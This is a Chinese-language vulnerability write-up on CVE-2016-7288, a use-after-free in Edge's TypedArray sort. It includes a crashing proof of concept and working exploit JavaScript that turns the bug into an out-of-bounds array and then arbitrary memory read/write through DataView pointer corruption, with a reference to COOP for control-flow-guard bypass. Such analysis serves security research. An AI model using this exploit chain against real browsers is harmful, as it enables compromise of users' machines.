CVE-2016-7288 漏洞分析

漏洞概述

该漏洞是一个验证不严格导致的 UAF 漏洞,漏洞样本和原因在 P0 网站上都能找到 Issue 983

漏洞样本

P0 提供的样本并不能保证漏洞的稳定触发,这里根据 http://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html 文章的内容对样本进行了修改,使其可以稳定崩溃

<html><body><script>

var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);

function v(){
    
        the_worker = new Worker('the_worker.js');
        the_worker.onmessage = function(evt) {
            console.log("worker.onmessage: " + evt.toString());
        }
        //Neuter the ArrayBuffer
        the_worker.postMessage(buf, [buf]);
        //Force the underlying raw buffer to be freed before returning!
        the_worker.terminate();
        the_worker = null;

        var start = Date.now();
        while (Date.now() - start < 2000){
        }


    
    return 0;
}

function compareNumbers(a, b) {

  return {valueOf : v};
}

try{
    numbers.sort(compareNumbers);
}catch(e){

    alert(e.message);

}


</script></body></html>

漏洞环境

这里使用的漏洞环境是 Win 10 x64 ,Edge 版本为 11.0.14393.0

漏洞环境

漏洞分析

该漏洞产生的原因是由于如下代码判断不完善

template<typename T> int __cdecl TypedArrayCompareElementsHelper(void* context, const void* elem1, const void* elem2)
{
  //......
            Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }
   //......
}

函数在调用 CALL_FUNCTION 之后,为了防止在 js 中对 TypedArray 进行直接操作,函数立刻进行了验证,若在 js 中 TypedArray 被释放则抛出异常;但是随后的函数 ToNumber_Full 语句会调用 ValueOf 方法将 CALL_FUNCTION 的返回值转化为 Number,这里又会进入 js 层的调用,而其后却没有验证,从而可能导致崩溃。如样本所示在 ValueOf 函数中将 TypedArray 释放,再次访问 TypedArray 时就会触发漏洞。

漏洞利用

内存占位

该漏洞是一个 UAF 漏洞,漏洞触发点处于 Array.sort 中对 Array 中数据进行交换时。因此可以考虑使用一个 Array 对象占位,然而在 Edge 浏览器中一般的 Array 对象的内存空间与 ArrayBuffer 的内存空间分别处于两种区域内。Array 的内存空间由 Memgc 统一分配和管理,而 ArrayBuffer 的分配函数如下代码所示

JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
    ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}

bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{

#if _WIN64
    /*
    1. length >= 2^16
    2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
    3. length is a multiple of 4K
    */
    return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
        (length >= 0x10000) &&
        (((length & (~length + 1)) == length) ||
        (length >= 0x1000000 &&
        ((length & 0xFFFFFF) == 0)
        )
        ) &&
        ((length % AutoSystemInfo::PageSize) == 0)
        );
#else
    return false;
#endif
}

在64位的系统中,当申请的 ArrayBuffer 大小小于 0x10000 时会调用 malloc 完成分配,ArrayBuffer 处于 CRT 堆中;当申请的 Array 大于 0x10000 且按页对齐时会调用 AllocWrapperVirtualAlloc 分配。

Array 对象当请求的空间大小很大时,Memgc也是直接使用 VirtualAlloc 完成分配请求。因此这里可以考虑使用一个大小为 0x10000 的 NativeIntArray 对 ArrayBuffer 进行占位。如下图,占位成功。

占位前
占位后

获取越界数组

再考虑崩溃点为 sort 函数交换数据时。若能在此时控制交换两个数据的位置,便可能可以实现将 Array 对象的 Length 与 其内容相交换,从而将 Length 的长度修改为任意数值。Sort 函数在其内部使用快速排序实现,其交换方式如图所示,其中枢纽值采用三数取中法确定,函数源码可以参见 qsort

因此只需将 Length 所在位置的值设置的比枢纽值大,将某一数据部分的值设置为比枢纽值小,其余位置按正常顺序升序排列即可。这里的枢纽值为 ArrayBuffer 0x2000 处的值 0x2000。Length 所在位置由上图可知在内存块偏移 0x28 处,只需将该值设置为大于 0x2000即可。由此占位并实现超长Array 的利用代码如下

var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);

for(var i=0xa;i<numbers.length;i++)
{
    numbers[i] = i;
}

numbers[0xa] = 0x55555555;
numbers[0x3ffe] = 0x10ad;

function reclaim(){
    var NUMBER_ARRAYS = 5000;
    arr = new Array(NUMBER_ARRAYS);
    for (var i = 0; i < NUMBER_ARRAYS; i++) {
        arr[i] = new Array((0x10000-0x38)/4);
        for (var j = 0; j < arr[i].length; j++) {
            arr[i][j] = 0x41414141;
        }
        
        arr[i][0x3ff0] = 0x7fffffff;
        arr[i][5] = i;
    }
}

function v(){
    
    if(this.a == 0x10ad&& this.b == 0x2000)
    {
        the_worker = new Worker('the_worker.js');
        the_worker.onmessage = function(evt) {
            console.log("worker.onmessage: " + evt.toString());
        }
        //Neuter the ArrayBuffer
        the_worker.postMessage(buf, [buf]);
        //Force the underlying raw buffer to be freed before returning!
        the_worker.terminate();
        the_worker = null;

        var start = Date.now();
        while (Date.now() - start < 2000){
        }
        
        reclaim()
        
        return 0;
    }else{
        return this.a-this.b;
    }
    
    return this.a - this.b;
}

function compareNumbers(a, b) {

  return {valueOf : v,"a":a,"b":b};
}

numbers.sort(compareNumbers);

成功修改 Array 长度后内存情况如下。此时我们便可以使用这个 Array 进行越界访问。


越界数组

任意地址读写

接着我们需要通过这个越界的 Array 获得任意地址读写的能力。在 64 位的系统下任意地址读写比 32 位系统复杂一些。首先,仅使用一个越界数组最多只能访问 4G 大小的内存空间,通过其是无法得到全内存读写能力的(关于将长度设置为 0xffffffff 的方法可以参考 exp-sky 的演讲)。其次, 64 位系统下的地址空间非常大,无法通过堆喷来完全覆盖,且 Edge 在进程内存使用超过 4G 时便会抛出异常。

基于以上原因,在 64 位下实现任意地址读写功能还需要对象其他字段的配合。对于本漏洞利用,这里的思路是通过越界的 Array 越界修改 ArrayBuffer 对象的 backingstore 字段(实际数据指针),用这种方法使 ArraBuffer 可以访问任意内存,从而达到任意地址读写的目的。

首先仍然需要通过堆布局,在该越界的 Array 内存后布局上对象,这里选用的对象为 DataView。DataView 也是由 Memgc 负责管理,其实际的分配位置也是存在于 VirtualAlloc 的空间中,因此当分配了大量 DataView 之后,总会有一部分 DataView 落在越界 Array 附近。其内存情况如图所示

DataView

其中数据 0x800 是其所操作的 ArrayBuffer 的长度,0x16771980000 为ArrayBuffer 对象的地址,0x1676f88c800 为 backingstore 指针。直接通过越界 Array 修改 backingstore 便可以通过 DataView 实现任意地址读写。

Array 数组在操作 0x7fffffff 以上的数据时会略微麻烦一些。这里为了便于理解,不直接使用 Array ,而是再修改一层数据。通过 DataView 修改 ArrayBuffer 来实现任意地址读写。

DataView 修改后
ArrayBuffer 修改前
ArrayBuffer 修改后

如上图所示,这里首先将 DataView 中保存的 backingstore 替换为 ArrayBuffer 指针,接着通过 DataView 修改 ArrayBuffer 的实际 backingstore。

这样,我们便实现了64位系统下的任意地址读写,读出的部分数据如图所示

COOP

COOP 全称 Counterfeit Object-oriented Programming,是一种较为新型的代码重用攻击。其攻击方式不同于 ROP(Return-oriented Programming),是通过多次调用合法函数,并利用合法函数调用后残留的数据信息来达成攻击目的。
由于笔者关于 COOP 的理解还不是很深入,因此在这里不做过多的探讨。下面的文章中有实际攻击的案例,经笔者测试在当前漏洞环境下可行。Disarming Control Flow Guard Using Advanced Code Reuse Attacks

更多关于 COOP 的信息,可以参见论文 Counterfeit Object-oriented Programming

漏洞小节

该漏洞是笔者第一次在 x64 环境下进行的漏洞利用,由于水平的限制难免会有很多疏漏。x64 的漏洞利用真的比 x86 下复杂太多了~~

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容

  • 二进制数组(ArrayBuffer对象、TypedArray视图和DataView视图)是JavaScript操作...
    呼呼哥阅读 21,261评论 2 12
  • 漏洞概览 漏洞是由于 v8 优化后的 JIT 代码没有对全局对象进行类型校验造成的,通过 JIT 代码操作未校验的...
    o_0xF2B8F2B8阅读 1,480评论 8 0
  • 一 背景 JavaScript经过二十来年年的发展,由最初简单的交互脚本语言,发展到今天的富客户端交互,后端服务器...
    Michael_bdb5阅读 1,233评论 0 2
  • 早上五点多,起床。洗漱完毕,下楼准备退房,被告知不用查房,预留的二十分钟时间只得在沙发上消磨。 有位老爷爷也来退房...
    和小忘阅读 181评论 0 0
  • 怀过孕,当过妈,就像在鬼门关面前走过一遭一般,不过当看到宝宝安全出来,可爱嘟嘟的脸蛋看着的确让人疼,孕期的痛都会...
    C_C___阅读 297评论 2 3